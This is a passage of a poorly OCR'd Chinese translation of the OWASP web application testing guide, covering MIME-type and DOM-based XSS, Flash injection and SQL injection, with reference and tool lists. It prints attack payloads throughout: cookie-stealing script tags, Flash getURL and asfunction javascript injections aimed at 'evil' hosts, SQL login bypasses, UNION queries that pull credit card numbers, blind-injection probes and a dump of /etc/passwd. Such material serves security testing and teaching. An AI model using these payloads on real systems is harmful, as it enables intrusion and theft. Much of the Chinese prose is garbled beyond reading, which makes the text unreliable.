Settings\test\Desktop\test.txt"

Content-Type: text/plain

test

W2 MIME A AN 4B o] DLR X — BB . Blhn, 1% IPG Al GIF X Bh B LG 3 1 SCE vl Be 4 & — /N vl i
AE AT, NS REPIX LSRR, ST ES T . Y image/gif 55 K552 ) MIME BG I, A ATTAT & K
SCASHTML A ZERXFPE LT, 287 dig ] BE 28 F % SO A HTML o

£ K] HTTP POST i K :

Content-Disposition: form-data; name="uploadfilel"; filename="C:\Documents and
Settings\test\Desktop\test.gif"
Content-Type: text/html
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€

<script>alert (document.cookie)</script>

Internet Explorer A~#% [ Modzilla Firefox sl HAt ] WE2RARELRY J7 ZAb BE MIME 82, 51l

Internet Explorer ¥

HTML NS txt SCHERRA HTML N 2S5 MIME A (1) 5 22135 )15 2 ) A 22 i 11 1

JK g A S 451

HAF IS B IAR L. AR Mt BB X N O 7. fEXAMEOLT, B@MWAE s
TR NG B AR BLRER A7 ik o

MRIEELA PIORE, 8 R G A R Y R e T R B P A AR TR A e i R e, S BURI L R AP 3R

o T RTEE N HRER, AR JCRC A AN S A

S oA LI

o UillJaun ARG, IR A AL A AE LN fik A7

o MHTIARES, JF TN IRE S W o B A R BN

IR T (A&, AT T AR R B AR

FEAIE, SMFEVE S W PHP ,  ASP R ISP HRAE H (1 7 AR & /Sh RELAME RE N HTTP GET Fll POST i 3K H A7l N

NER L L BT ARRD I A R A R D R

PHP ASP

S_GET - HTTP GET variables

e $_POST-HTTP POST

variables

e $_FILES - HTTP File Upload

variables

Request.QueryString - HTTP GET

Request.Form - HTTP POST

Server.CreateObject - used to

upload files

ISP

doGet, doPost servlets - HTTP GET and
POST

request.getParameter - HTTP GET/POST

variables
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Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applications", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-
226229-0

Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley,
ISBN 978-0-470-17077-9

Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks:
XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3

RSnake: "XSS (Cross Site Scripting) Cheat Sheet" - http://ha.ckers.org/xss.html

CERT: "CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests" -
http://www.cert.org/advisories/CA-2000-02.html

Aung Khant: "What XSS Can do - Benefits of XSS From Attacker's view" -
http://yehg.org/lab/prOjs/papers/What%20XSS%20Can%20Do.pdf

Amit Klein: "Cross-site Scripting Explained" - http://www.sanctuminc.com/pdf/WhitePaper CSS Explained.pdf

Gunter Ollmann: "HTML Code Injection and Cross-site Scripting" - http://www.technicalinfo.net/papers/CSS.html

CGlISecurity.com: "The Cross Site Scripting FAQ" - http://www.cgisecurity.com/articles/xss-fag.shtml

Blake Frantz: "Flirting with MIME Types: A Browser's Perspective" -
http://www.leviathansecurity.com/pdf/Flirting%20with%20MIME%20Types.pdf

OWASP CAL9000 CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP

Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more.

PHP Charset Encoder(PCE) - http://h4k.in/encoding PCE helps you encode arbitrary texts to and from 65 kinds of character sets

that you can use in your customized payloads.

Hackvertor - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php Hackvertor is an online tool which allows many

types of encoding and obfuscation of JavaScript (or any string input).

BeEF - http://www.bindshell.net/tools/beef/ BeEF is the browser exploitation framework. A professional tool to demonstrate

the real-time impact of browser vulnerabilities.

XSS-Proxy - http://xss-proxy.sourceforge.net/ XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.

Backframe - http://www.gnucitizen.org/projects/backframe/ Backframe is a full-featured attack console for exploiting WEB

browsers, WEB users, and WEB applications.
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€

o  WebScarab WebScarab is a framework for analyzing applications that communicate using the HTTP and HTTPS protocols.

e Burp - http://portswigger.net/proxy/ Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web

applications.

® XSS Assistant - http://www.whiteacid.org/greasemonkey/#xss assistant Greasemonkey script that allow users to easily test

any web application for cross-site-scripting flaws.

4.8.3 F£T DOM HyE5 Ul | A Al (OWASP-DV-003)

KT DOM (1935 3 rd BAIAS FR) S5 B 44 MR 185 s BRI AR s ] A2 Bl M DO R IS 2R, — B JavaScript o 1% M TSRO
JUANIR G AT AN A i A R B0 A2 XSS il . XA R B e U XSS [ JavaScript Yl .

DOM, ESCRN GAERY,  J—Fhnl LURIRAE S s FP AR SR S5 # i 2. DOM REXG B 25 JIAS i JavaScript 2414
SREAAAE NS, Bl L B2t cookieo YU AR AT LA T 22 422 B AT DOM——Hil T £ Lg% 3115
21 cookie MRIAN AL P B AIRIA o 240 B et vl LYK DOM 7o 3SR R AZ UL JavaScript s IG5 N A

B, BEUCHHAEAE ST DOM (135 3 xS B AS i i) o

KPR ERRR SR, AT bR IR B SCRIE SR A

L

FFARPTA 15 st A A Y 1] 0 5 2 T8 8 2 T MR 55 s R R 9 2, BT 1Y) JavaScript 2t 23 I AH ] 1) 45 SR o 2
XA AR AI A (5wt A IR — FF, AT Ie TR ANH 1

Foe s ol s AR CRON sURMEAF S st JIAS ) v (AR SE I S o Tt R 55 A%, R 3R Bl 1Y 9 AR
Vo P IAT . AHEEIXEE, ST DOM FES S s AR 1] DOM o2 AN BEts 5 il B A s A CR o A AR 4

HI ARG 2T DOM IEE s s ARG TR vl AAEVF 205 DL R IRAT, AN SR S5 9 08 IR LS 15 BT . Xl g 351
VR B 1 55 0l BRI AS T SRR RS e SR B JERE A T o

FMEBCEBE R T2 ) S A -
<script>

document.write("Site is at: " + document.location.href +".");

</script>
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i n] fedn B2 KA BURE I#<script>alert('xss')</script>, P EERAT LA & BoR B SHE, RXFEL T,
TRLER NN AT # P AP W0, B DA SR BN (A RS AR 45 IR 55 4 - AEIXAS
Bl SEZIPATARERAE M O B “ Sl IAS B R LB A CREAPERIARRE A 14 CRS 2 A% B ik
G, JFEBERG I HOZLEAF B R AU S AR I S s L RIBAT

JLT DOM 135 3 i FEVAS I TR AN EL T 42 (R 5 b B AS — PRV iz, b A dl Cookie BRIX. BB RIAIATEN,
S, PRI RA RS P B R

PRI 5 1]

H1 T3 T DLSRAFUSARAE I L S AR 2% ) i kAT, DI A 2038 T DOM FR 5 0 n S A HEAT PR Al

BT ieT
BET- DOM (15 3ty pet A Y ¥ 00

JavaScript [N 7 ERABR AL 1A S RS PP A AR RN, AT AR R M S5 ae s A A i) o 28 T MR IEAERAT HOARAD,
TR MK 3l LA 5 IEAESRAT 1Y) JavaScript KB fi5 0 AR MRS 5 4252 T SN o V25 9 3l AR A T 25 ol 4%
FERGRERT ThRE, AEAL R EAE B v AR, X eI Reth B NI & . AERXFHOL T, B T2 IRZ I
MR, IF B iX SR 5 ZAe S 2 (I a), B ki B I AR AL o e — FL IR AT AT A %

I N RIR T PR L2
o JRSSEAEA SV EBE XSS T UL T E N TR
e ME i JavaScript X IRAGF 1IN

T T AN U R 45 28 ] 4 N 2 JavaScript -

var data = "<escaped data from the server>";
var result = someFunction ("<escaped data from the server>");

TN R UE T/ i JavaScript 55 N -

var data = window.location;
var result = someFunction (window.referer);

HARAEMATAL A JavaScript fARS T IHIZ AN, (HRZEAVPIRENER: I RS A /G A, IR 5545 T LAEH]
AR5 KHEFNE e, 10 JavaScript X S AAT IHEFIANE 2E S A Tl DI IER Bl L8 DhRE2 sink 5 3, 8
LI BITT SRR T 55 s DI 00, 0 Jm # F B T-AE window.referer i G v f)30 B AT (4 20 A5 175 20 o
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€

UEAh, VAR 2 B8 XSS MRS SR SERL (K [ AR s FE <script> BB P2 R HAT JavaScript. [HIE A R IR
I, A S AR BERE P AN CSS MEB AR JAIAS IR IK J PRI SRS R S0 AMETE R, NI EMTIAAME Css BUIAS
X AR E AT T WRLEACH .

H1 T E S AT R W T A8 FLAA A A I 2 AR IR 55 s SN o6 JEREAT I, 3t 3 SCHAE i MR IERE T
DOM ] XSS I BRI ARG o e N ) ] F S BIE R 2] — g AR H . Ferp s 2 s Bt i P -

<script>
var pos=document.URL.indexOf ("message=")+5;
document.write (document.URL.substring (pos,document.URL.length));

</script>
EN TN A EIA RS I 2 -

<script>
var navAgt = navigator.userAgent;

if (navAgt.indexOf ("MSIE") !=-1) {
document.write ("You are using IE as a browser and visiting site: " +
document.location.href + ".");

}

else

{

document.write ("You are using an unknown browser.");

}
</script>

AN, BRARAR TR REXS 2 s A U A T HESE 22 204, 5 U A SIS BERI L T DOM ) XSS Ui
)R

DRI AT LR T 0 7 s ARG g X3k, AR h i 2 B 0nT BE AR REM MG IR . B, X USRS )
AEHNTUH RS X A &2 DOM HIIX K, B & AT A X k. e =40l LA S 25 A i e 00
Amit Klein ) 3L excellent DOM XSS.

%

HEH

e Document Object Model (DOM) - http://en.wikipedia.org/wiki/Document_Object Model

e  DOM Based Cross Site Scripting or XSS of the Third Kind - Amit Klein http://www.webappsec.org/projects/articles/071105.shtml
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4.8.4FLASH % i A 38, (OWASP-DV-004)

ActionScript /&3t T ECMAScript [f1—FiE 5 . JACHIAS T 75K, Flash SRS ILE S . MILeES —FF,
ActionScript f3 & 1] fE 2 T BUZE 4 ] 1) St AR X

e, BN Flash BHIAEAE RN ST A5, BT DOM (15 vl B AR S5 s ] [ AF 7T AAE AT SR FE K Flash B 477

|
EB “Flash SETIBIR" (1155 VKHINL  Flash Player 4 A7 T BFISUA LA(BLER 15h JFREA IS . 4871, i

TEARKILE EIR T TR B AN 24 i RETT 0%, A SE i R S AFAE W TR IR . .

| R A 5
Rt

1T~ SWF S 2 F R AN AR TSGR AR 5 (10 RSO LRI ARAT A7 70 R R A R 2 A PRI 7 AR o 3 R0 44 1) B 9% 1)
ActionScript 2.0 f il /& flare.

K TAEH flare BEf# SWF SCHF, ifHIN

$ flare hello.swf

KT EA N hello.fir (RH7SCAT

KA E ARG 2 E G, S 1 AT DUAE U R e g — 2635 B,
ActionScript 3.0 H A AEA G S AR AR o

e XA E

i URL #1745 Hh 4008 _root 5{_global XA MR S0 T, 80 ActionScript 2 JFUIETT. LML A&
BN JE T _root F_global X4 R 2 s, AT LIS 3] ActionScript 2 BN H Ao XEMRAE, WSS e &M

_root.varname

FEARLR TR A CREXT, BBl RS

http://victim/file.swf?varname=value
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http://victim/file.swf?varname=value

Bl

movieClip 328  Packages.Locale ({

#initclip
if (! global.Locale) {
var vl = function (on load) {
var vb5 = new XML();
var v6 = this;

v5.onLoad = function (success)

if (success) {

trace ('Locale loaded xml');

{

var v3 = this.xliff.file.body.$trans unit;

var v2 = 0;
while (v2 < v3.length) {

Locale.strings[v3[v2]. resname] = v3[v2].source. text;

++v2;

}

on load();

} else {}

}i

if (_root.language != undefined) ({
Locale.DEFAULT LANG = root.language;

}

v5.load (Locale.DEFAULT LANG + '/player ' +
Locale.DEFAULT LANG + '.xml');

b
IR g R e 2 Bl

http://victim/file.swf?language=http://evil

AEZEW T

FAN D sia, AN s AT Re R I O G AR I B . AR A A IEA ) regexp 198 B30 K4

g Al L,
JRAS ra7 (AN 24 (R AT -

loadVariables ()

loadMovie ()

getURL ()

loadMovie ()

loadMovieNum ()
FScrollPane.loadScrollContent ()
LoadVars.load

LoadVars.send

XML.load ( 'url' )
LoadVars.load ( 'url' )
Sound.loadSound( 'url' , isStreaming );
NetStream.play( 'url' );

flash.external.ExternalInterface.call( root.callback)
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htmlText

K SWF SCAFAF AR 32 35 8 NI SR 3 XSS BRI o S At Al v o LR A o8 — N2 opE 1
SWF LI CHTEA ) sk 2 TR ) sl i s M Y iframe TN

<iframe src='http://victim/path/to/file.swf'></iframe>
RRERGEIZME DL T A e 32 3 EALE—FE, D SEaeHs B 3™ 4 HTML 9 5T,

B A

GetURL:

% GetURL ik movie &4 URI HE AN VEZR LA . DRIL, 2R getURL "PE AR E AR RAE N5 — NS4

getURL(_root.URI,' targetFrame');
XEMA &Rl LUl LR SR AEFEE movie MIAH [F] 38044 i H JavaScript:

http://victim/file.swf?URI=javascript:evilcode

getURL ('javascript:evilcode',' self');

FIFE, YA getURL S #E1] (Dom v AR Flash JavaScript 7 A) , & LARIA -
getUrl ('javascript:function('+ root.arg+'))

asfunction:

fn] LT FHAR 3K asfunction P74 8E8:, SRS 7E SWF S 44T ActionScript BRI AZ T IT— AWk .

( Adobe.com ) . FEJK Flash Player [ r48 5, NS URL VB WS B0 7158 fef H asfunction. X miiZmkss, il
WE T LA EA
asfunction:getURL, javascript:evilcode

in every unsafe method like:
loadMovie (_root.URL)

SEPURTE D
http://victim/file.swf?URL=asfunction:getURL, javascript:evilcode

Externalinterface:

Externallnterface.call /& Adobe 513 3B ILAS /0 WA A8 H I BERIER & 7. N eSMERE, JiEHTH
WS H, e RE SR
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€

flash.external.ExternalInterface.call( root.callback);
XA R B A

eval (evilcode)

I ST 2R AT B PER Java 155 25T

eval('try { _ flash toXML('+ root.callback+') ; } catch (e) { "<undefined/>"; }')
HTML i

WL LLFBRE, TextField 452 il REFL LS/ NED HTML

tf.html = true
tf.htmlText = '<tag>text</tag>'

R, A Sl i 735 SOR, IREEAN A FRZEE IMG Fr28 T BB GUI 3 XSS I Ti 25,
A BRZE B BT

o F{HASVNIA: <a href='javascript:alert(123)' >

o IPNY[AThRE: <a href="asfunction:function,arg' >

o ITNY[R) SWF AJLENEE:  <a href="asfunction:_root.obj.function, arg'>

o IPIYAM [ EITAEE: <a href="asfunction:System.Security.allowDomain,evilhost' >
[FIAE AT LAE ] IMG RIAR%

<img src='http://evil/evil.swf'>
<img src='javascript:evilcode//.swf' > (.swf is necessary to bypass flash player internal
filter)

7 HUA Flash Player P5ulifiA 124 ANFE S A, ARG GUI.
Flash 53} Cross Site Flashing
Flash 535l ( XSF ) J&F1 XSS A7 AH [R5 M # s
XSF K AEAEANFIE A
o M movie /] loadmoviekpt Hral L& M H AN —A> movie, FHFIEAF— YL —ftoy

o Y HTML VITHIfdH JavaScript ki 211 F Adobe Flashmovie I8 A fE A& 2E XSF. i, 84
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o GetVariable : £ 7#5 5 M Javascript H#EN flash 2 HFIFR AT
o SetVariable : M Javascript 38 ) T4T H BCE M HASRIEA L flash X 4.
o EAMXIBTARIN swf 815 W] e EET H swf N B,
I AT BRI swi Re AR Flash SCAFAAT BE DD R«
X T i B AR GUIME S, LB HI F AE BRI flash bk hli A RS o
i H loadmovie* J7AIN, W LAZE Flash HTML v A EAME SWE SCAFH A XSF.
Zrd A Flash Player i 4

H 2007 £ 5 H, Adobe kAii T Flash Player () =ANSHTRAS . EASHARASESBE 1L T BARTHi A9 B

| Attack | asfunction | ExternalInterface | GetURL | Html Injection |

| Player Version |

| v9.0 r47/48 |  Yes | Yes | Yes | Yes |

| v9.0 rll5 | No | Yes | Yes | Yes |

| v9.0 rl124 | No | Yes | Yes | Partially |
USRS

5l kS AN ES 3t £ 1ash 2 AT BRIFR) SWF SCIFIOTIUNSSE R .

e  Testing Flash Applications: A new attack vector for XSS and XSFlashing:
http://www.owasp.org/images/8/8c/OWASPAppSec2007Milan_TestingFlashApplications.ppt

e  Finding Vulnerabilities in Flash Applications: http://www.owasp.org/images/d/d8/OWASP-
WASCAppSec2007Sanjose_FindingVulnsinFlashApps.ppt

e Adobe Security: http://www.adobe.com/devnet/flashplayer/articles/flash player9 security update.html

e Securing SWF Applications: http://www.adobe.com/devnet/flashplayer/articles/secure_swf apps.html

o  The Flash Player Development Center Security Section: http://www.adobe.com/devnet/flashplayer/security.html

e  The Flash Player 9.0 Security Whitepaper: http://www.adobe.com/devnet/flashplayer/articles/flash _player 9 security.pdf



http://www.owasp.org/images/8/8c/OWASPAppSec2007Milan_TestingFlashApplications.ppt
http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt
http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt
http://www.adobe.com/devnet/flashplayer/articles/flash_player9_security_update.html
http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps.html
http://www.adobe.com/devnet/flashplayer/security.html
http://www.adobe.com/devnet/flashplayer/articles/flash_player_9_security.pdf

TR

o  SWFIntruder: https://www.owasp.org/index.php/Category:SWFIntruder

e  Decompiler — Flare: http://www.nowrap.de/flare.html

e  Compiler — MTASC: <http://www.mtasc.org/>

e  Disassembler — Flasm: <http://flasm.sourceforge.net/>

e Swfmill — Convert Swf to XML and vice versa: <http://swfmill.org/>

e Debugger Version of Flash Plugin/Player: <http://www.adobe.com/support/flash/downloads.html

4.8.5 SQL 7 A\ (OWASP-DV-005)

SQL VEAN Brai B4 i i AN B N sl A B YN saL Bl B Y R . — AN saL i AT iy LAWEL
I e b RIUR i . B SR R (RN SER/MERD) AT B B (S BRI E ARG L K
RATAE T HAR S RGP IR SO A, RSO P REX A R G AT & SQUIEALBLTZ —FIHEAL
iio eH sQu A S TEA BB R, A RHRATIIOE X saL A .

K %435 3]
saL 7 AR #iid
Z: I, OWASP XCE 2. QL Injection il

Z: I, OWASP & 2 Blind_SQL_Injection i

AT HEE sQL A I TR

Z: I, OWASP Development Guide 3% 2 Wi Avoid SQL Injection YA

2 I, OWASP Code Review Guide 3 & 2 i Review Code for SQL Injection Il

i)
SQU VAl AT BA A T8 = 2K

o FEIENHS - AT SQL AR R RAE AR . X R AR — R vk, ELEAE Y R R 5
FRrREE.
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https://www.owasp.org/index.php/Reviewing_Code_for_SQL_Injection

OWASP iR FE T v3.0

o SMHIRIE (00B) : EATEMRERNESE (B, »ESAERERE B F I AL RN .
o HEER : BEASChREANEE, B AOR R RIS IR 55 A IS5 RAT D, A RERE ARG

MLV, SR sQU i ANBLT A7 ZRGE A HIE - NMEIEIERIN sQL 2. W TR PR [l 4 85
REWP ARG R, ZRES EREG MR IZE. P, &2 TRaESHFITEAN. B2, RN
PP R VR R, I LR AR RE A 0] S R A R R B R AT I 1) TR e A SLRR O “H SQLYEANT .

AR SE A1
sqL AR

DR 55— A SR N PR A T B OS5 5 (KD T 1] o 2 PR P o 0 ) 0k P e 95 5 £ L Y 5
(RS

o MERSE A web EAPATIRUERS, R I K A A T A AR (B hash #A5) 191 e

o HIRSIHE : sQL AT LRI A AT I T A A HHs o SR BRFR B AR ORI 5K

o HFBESMEL : REESR (& UYL BITURE L) R ATREFAETE — D RRERIE T,
DR 24 R AT DU FHi4E sau Sl i A 7B L, G045 POST TSR v BL. SRR XA 1 EA T2 sk,
DU e FEE AT Tl o ARt iR . 38— N IRUE W R4 R T B i — A s O B
) o G5 RIFE sQL T — NPT 07T . WERN IR PR L ug, e RS EMRR AR, 25

AT &L saL iEA). WREERKFIIENE, S RFE LA R WA B nT RS T UL NS E (Blan, fER
% sqQL Server H1)

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft] [ODBC SQL Server Driver] [SQL Server]Unclosed quotation mark before the
character string ''.

/target/target.asp, line 113

FIREPFE C-) FHER saL GBE T, ' AND A" OR "ol AR e ify . — AR S S EAT I 3R A R 7k
HUSAETUNEL AN ST, ™ AR IR A R -

Microsoft OLE DB Provider for ODBC Drivers error '‘80040e07'
[Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.

/target/target.asp, line 113
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€

AL 7 b e 3 AR BN F A T 3 M B DME R T i A B . AR, N R AR AR A
WL Z AT . £ KA TR H'500 Server Error "B [ & AR T . Xl kG RATFH SR E HIFE SR . AT
BN, *FANFEO PR EE. AN EAR, T e AR, DUEAERG L T e es 250 i 59
(), WIRLEEBEAT .

FRYER sQL AR

EZRLIT sqL i) :

SELECT * FROM Users WHERE Username='S$username' AND Password='Spassword'

— BN Web N HIREFE A T 30 UE ] SARAE ] — AR A R AR ] T —AMEL, T AR N %5
P B SAAAE, LRI AT LU SR BNZ ARG Vi a4 . N7 BUR M 32 wb BB
P AESRAT I o ABCBERA T AN LT B 44 A i

Susername = 1' or '1l' = '1

S$Spassword = 1' or '1l' = 'l

A

SELECT * FROM Users WHERE Username='1l' OR 'l' = '1l' AND Password='l' OR 'l' = '1"'

IR PAMEB M SN GET JEARIE RIS &, WIRZME S M it 2 34 7 www.example.com , I8 Z BATIHMAT
IR RE

http://www.example.com/index.php?username=1'%200r%20'1'%$20=%20"'1l&password=1"'%200r%20'1'%20=%2
0'1

S F R, BIPIBIRNVEHREN (F1=1) , ZAWERE—MI (F—4AMH) . X, REENHE
R AR S DL R B T

RGP R AT REB A AR N RRIR M AN ECE S S M S R
SELECT * FROM Users WHERE ((Username='Susername') AND (Password=MD5 ('S$password')))

FEIXFPNGOUN , AP, ARG S, 5 AN RDEUE d1 ] MDShash B3 155G, FRATWELIE S i1
Ao FESRAFIERAI B BT UL S PR 5 o MR AR S MR L2 AN ERL. FATR AP 2
g, WA BT A TR D) A B AL PR . BRSO A BE R G 5 H BITEIR AT T . (EE R
A L FRIRT 55 /*o AE Oracle 1, %4052 "o SXULHIFRATME 9 )™ 4 A RS IR (A «

10 or 1y = vlv))/*
foo

Susername

Spassword
R, FRATAT LA 2 CA T A

SELECT * FROM Users WHERE ((Username='1l' or 'l' = '1'))/*') AND (Password=MD5 ('S$password')))
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TSR AR
http://www.example.com/index.php?username=1'%200r%20'1'%20=%20"'1")) /*&password=foo

EIRET L8 A, SRR AR [P T M BERE T 1o FERTIEIE] 1, X DLLLBRRAT (FE S5l 2 b
AP HRA—AMED o RIS R A sQL dr S HUE R B TCH BB AU 1. GRIElI—MdR) AT
SEZ— HAR, BAEH] operator”LIMIT <num> ", Hr<num> i Ay IR IR TCH B . BTIRAOH] 5, I A4 A
(EEREELECIIPR (RN RS

1" or '1'" = '1'")) LIMIT 1/*
Spassword = foo

Susername

In this way, we create a request like the follow:
R, AR ANER, anh

http://www.example.com/index.php?username=1"'%$200r%20'1'%$20=%20"'1"))%20LIMIT%$201/*&password=fo
o

Union Z5#] SQL 3 AR,

75— AT UNION 84647 O TANADINA & HOR b IE I 20, 78 sQL IE A 1% operator LUMERAG 5 46 25
W PO IS AR A RR A R A B i 5 Kb, DA SRR I e R AP i 7 BUE. flin, AR RS 2
AT AR

SELECT Name, Phone, Address FROM Users WHERE Id=Sid
WELLT ID{H:
$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable

FFEILLT Al

SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM
CreditCarTable

K FFTEE AR PR R G A s Rerb . S8 DISTINCT JCHE IR i) AT ) a2 B G BE ALL. BEAE, 3R
IEER, BT EHFKSH, RMCEEHILEHME. XMEWEBER . KA T 8RB EENR, XA
AR A5 H 2 5.

B saL EANR

BATC & ik A saL ARG, BIE saL A fEXMEANTIRATIA TR LS 0. wlhn, XA
GRS R B AN T — AN S AE AR g5 R B 2 W AT B ) 18 e SRR U . G LA 2 iR ]
—A-sQL iR, B AREIUALIR A —/ HTTP 500 )
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€

ML FIAERL T3, WA W RERE SeIX BRI ST SRAS SR T B X IR AR A S A AT R
PR ATR B AR IR E RIS e RILE—F, BAMEH www.example.com $44 . i 1% 4
WE T 5% SQUIEAKGL KA 4 1D B K. IXEWRAE i BT T 12K

http://www.example.com/index.php?id=1"

M AW AR R, BRI 2 B SUE BT R 0. BB MR 55 s B AT 1 il

SELECT field1, field2, field3 FROM Users WHERE Id='Sld"'

M| TR, BASRRFEAMCA 2 2 21k . BATP A IR R I 2 7 B . BATTRESATAH G
BAVFRA TR AN A RAF I 48 B E e S A H] - SebrvBE i) D B T 7R REA B0 22 P kAT SE B
VERTREREIA B — H K. AEFRATII RS, FATHE AL Oh pri K

SUBSTRING (text, start, length) : ©iX[F]— N5 H, MWIUARM “start” BN E TFHFI I “length” , g “IF
R RFXAKKE, L IZEEBORE—DZEHE,

ASCll (char) : 'EIR[BEIHIANFRAK ASCIE. WRFFE 0, L KRB NULL {4 .

LENGTH (text) : ‘ZIRMIEIACATRFHIKE.

WX R IIRE, AP — AR IR IR GBS, =AY, 555, BRI 1S KIEEA
fHo ZMBH R SUBSTRING BRAL— LR — 747 GEPERA PR R ERKESECH D IR Ascl i35k
73 ASCIN I, XA BEAT R LU IR . AT ASCI R BB T 45 R LL AL, B EIERBER . B, {EH T
id {H: :

$Id=1' AND ASCIT (SUBSTRING (username,1,1))=97 AND '1'='1
QLU Al ONBUERS, ROy “HERIAd” ) .

SELECT fieldl, field2, field3 FROM Users WHERE Id='1l' AND ASCII (SUBSTRING (username,l1,1))=97
AND '1'='1"

HACG A BN AN PR T ASCIAE 97 I, BIREBIA 2k MIfE . G iRAT BB AE, T8 L IRATTRE AsCl
KRR G ME 97 Hn$) 98 I HIPr AL %I K. WIRMBNEM{EL, AR AsCl BRI RSIMEBOY 0 IFHr b4
FAF B SUBSTRING RIS AL, [JLAE T 1 MR AL A WR - Fof v ] AMGR [ AR B DR A DX 23 IE A {EL . DRI RATT 61
T IRZR I IRAE P K o Sl R id AT BASE B

$Id=1' AND '1' = '2
FHBLL T A
SELECT fieldl, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
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MRS EAFRNMZE L (B HTML AR R (R AR B . XML e LEFRAT T A T HEBE A 1045 B R (i 2 5 45
T2 AT IR B AT, XP AT A . WSS A8 BT PN R IE 221 web 145 SR 3R [9] A
ANFEE A TL, A PR JCiE N R P XA IERR BB . AEIXMUREE RS DL, A2 FRF IR Ak yE 2%, AR AT RE e
BRI TE SR O T A TR . JE ok, BRRPATHERAE SR IN,  FRATTER AL FH 5] Ty B M 5 8 4 HIUAH DG AR
BROIE A T i K A SR T 48 S AR

ERTII TR, A BEBATH e MR 2547, B, ZREsd e . SEIUX 500 52T SUBSTRING BA
ORI LENGTH BRI, SRR ST 475 Ascl i3 0 (R null {ED  bRAS R PISCSEAAE Ry, (EHERR T (RITC&
FHEEA TR BT E S e null AR

PAVEFEN T 1d F55 FpAH:

$Id=1' AND LENGTH (username)=N AND '1' = '1

o n AT ST TR (AFESED o i

SELECT fieldl, field2, field3 FROM Users WHERE Id='l' AND LENGTH (username)=N AND '1' = '1'

ZEHR IR [P TRUE B FALSE o USRI [H] TRUE, BLIATE L5 T HEBLN SIS EE. Wik FALSE, X
WK S EE P AAAE D TR/ o N BRA T IR EE 00T F — A S HE 2N BA 13 S — 2.

B saL AR FHEAEREW. MR ReH AN A3 TR % fefr MySql Bl ZErp it GET ik fg
PAT XI55 1) L H A SqlDumper , U1 F TN

Url: http:/ fwsese Bxample com/index. php?id = 2 0QUERY
Query: CIMJECTION AND "1 = 'L

Query ldentifier  [QUERY

Injection ldentifier: ||nECTION

File to dump: Jetejpasswd

root:x

TRINGLOAD_FILEC etc/ passwd™,4, 1)=110%2 0AND%2 ' 1'% 20=%20"1 = |

TRIMNGQLOAD_FILEC etc/ passwd’),4, D)=111%20AND*20'1" %20 =201

TRINGALOAD_FILEC etc/ passwd),4, 1)=112%20AND%20'1"%20=%20'1{=

TRING(LOAD_FILEC etc/ passwd,4,1)=113%20AND3%20'1'%2 0 =%201]

TRING(QLOAD_FILEC" etc/ passwd™,4, 1)=114%20AND%20'1'%2 0=2%20"1)

TRIMNGQALOAD_FILEC etc/ passwd),4, 1)=115%20AND*20'1" %20 =201 E
4] I I [»]

AERRFEA
] A0{AT 7 A ALIEE QL TE A XU
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W2 REBZA TR ER, AR A GEZEA sSQUIT A WERALPAY, fEAAAHTE T I 3h 3 saL
A RARIR TR 3 A sQL —HEA 5 %2 | Bt

MEEAAAE LR I B sau i, N R P b 22z 2 B BN B, DU BRI E AN R R B 1M B,
AL AT ELHEAAEREAFRE P TP AT IR sQL.

oA o saL i AR EHIEE .
Z B UL sQL Server fAEFET

Create procedure user login Qusername varchar (20), @passwd varchar (20) As
Declare @sqglstring varchar (250)

Set @sglstring = '

Select 1 from users

Where username = ‘' + @Qusername + ‘' and passwd = ‘' + @passwd

exec (@sglstring)

Go

PN -

anyusername or 1=1"
anypassword

R—REP AR BRI, & S EOREHEAL X L2 A 7S ST % o

EE - BT EADS saL XA B FEARKRAT ek A, B LU s S E &, b Prik £ 501 &
Ho M AT DAERAM S TE TR SRR IR A

B PN sQL Server A7 42

Create procedure get_report @columnamelist varchar(7900) As
Declare @sglstring varchar (8000)

Set @sglstring = '

Select ' + @columnamelist + ‘' from ReportTable’
exec (@sglstring)

Go

EDRE P,

1 from users; update users set password = 'password'; select *
X FHEOSATHAE I E A I A

FARICE
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OWASP TOP 10 2007 — 73 A1l

saL A

QB A B R G BAR A AR SR e -

e  4.8.5.1 Oracle Jllif

e 4.8.5.2 MySQL ik

e 4.8.5.35QL Server Jlik

e 4.8.5.4 MS Access Y[k

e 4.8.5.5 PostgresQL iz

HEH

e  Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced SQL Injection.ppt

e  Chris Anley: "Advanced SQL Injection In SQL Server Applications" -
http://www.nextgenss.com/papers/advanced sgl injection.pdf

e  Chris Anley: "More Advanced SQL Injection" - http://www.nextgenss.com/papers/more_advanced sal injection.pdf

e  David Litchfield: "Data-mining with SQL Injection and Inference" -
http://www.nextgenss.com/research/papers/salinference.pdf

e  Kevin Spett: "SQL Injection" - http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf

e  Kevin Spett: "Blind SQL Injection" - http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf

e Imperva: "Blind SQL Injection" -
http://www.imperva.com/application defense center/white papers/blind sgl server injection.html

e  Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/makale/sgl-injection-cheatsheet/

TR

e  OWASP SQLiX

e  Francois Larouche: Multiple DBMS SQL Injection tool - [SQL Power Injector]

